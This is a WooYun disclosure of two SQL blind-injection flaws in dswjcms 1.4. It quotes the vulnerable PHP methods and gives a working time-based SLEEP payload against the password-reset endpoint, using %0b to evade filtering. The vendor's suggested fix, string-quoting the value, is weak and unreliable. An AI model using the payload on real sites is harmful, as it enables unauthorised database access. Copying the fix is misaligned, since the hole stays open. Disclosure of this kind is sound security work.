当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154875

漏洞标题:dswjcms1.4sql盲注漏洞两枚

相关厂商:dswjcms.com

漏洞作者: 不能忍

提交时间:2015-11-23 11:40

修复时间:2016-02-21 12:14

公开时间:2016-02-21 12:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 细节已通知厂商并且等待厂商处理中
2015-11-23: 厂商已经确认,细节仅向厂商公开
2015-11-26: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-17: 细节向核心白帽子及相关领域专家公开
2016-01-27: 细节向普通白帽子公开
2016-02-06: 细节向实习白帽子公开
2016-02-21: 细节向公众公开

简要描述:

dswjcms1.4sql盲注漏洞两枚

详细说明:

漏洞文件:/Dswjcms1.4/Lib/Action/Home/CenterAction.class.php //709行

public function standLetter(){
$id=$this->_post('id');
echo $this->singleReceipt($id);
}


跟进singleReceipt函数:

protected function singleReceipt($id){
$Instation=M('instation');
$find=$Instation->field('state,msg')->where('`id`='.$id)->find();
if($find['state']<1){
$Instation->where('`id`='.$id)->setField('state',1);
}
return $find['msg'];
}


其实_post函数是有加载脚本过滤的,但是这里是数字型注入,所以不考虑gpc的问题。

漏洞证明:

2.jpg


由于是两处进库,所以是12秒
第二处
漏洞文件:/Dswjcms1.4/Lib/Action/Home/LogoAction.class.php //196行

public function rsPassword(){
$user=D('User');
$users=$user->where('id='.$this->_post('uid'))->find();
if($user->create()){
$result = $user->where(array('id'=>$this->_post('uid')))->save();
if($result){
$cache = cache(array('expire'=>50));
$cache->rm('rpawss'.$this->_post('uid'));// 删除缓存
$this->success("密码重置成功","__ROOT__/Logo/login.html");
}else{
$this->error("新密码不要和原始密码相同!");
}
}else{
$this->error($user->getError());
}
}


$users=$user->where('id='.$this->_post('uid'))->find();这里是进库的,而且还是数字型,虽然这个_post还是有过滤的,但是是数字型,所以不考虑gpc的问题。
给个payload:
http://localhost/Logo/rspassword.html
post:
uid=1)%0bAND%0b(SELECT%0b*%0bFROM%0b(SELECT%0b(SLEEP%0b(6)))test)%0bAND%0b1=1--

1.jpg


修复方案:

''

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-23 12:14

厂商回复:

解决办法,在入库的时候对变量加双引号,例:
$user->where('id='.$this->_post('uid'))->find();改为
$user->where('id="'.$this->_post('uid').'"')->find();

最新状态:

暂无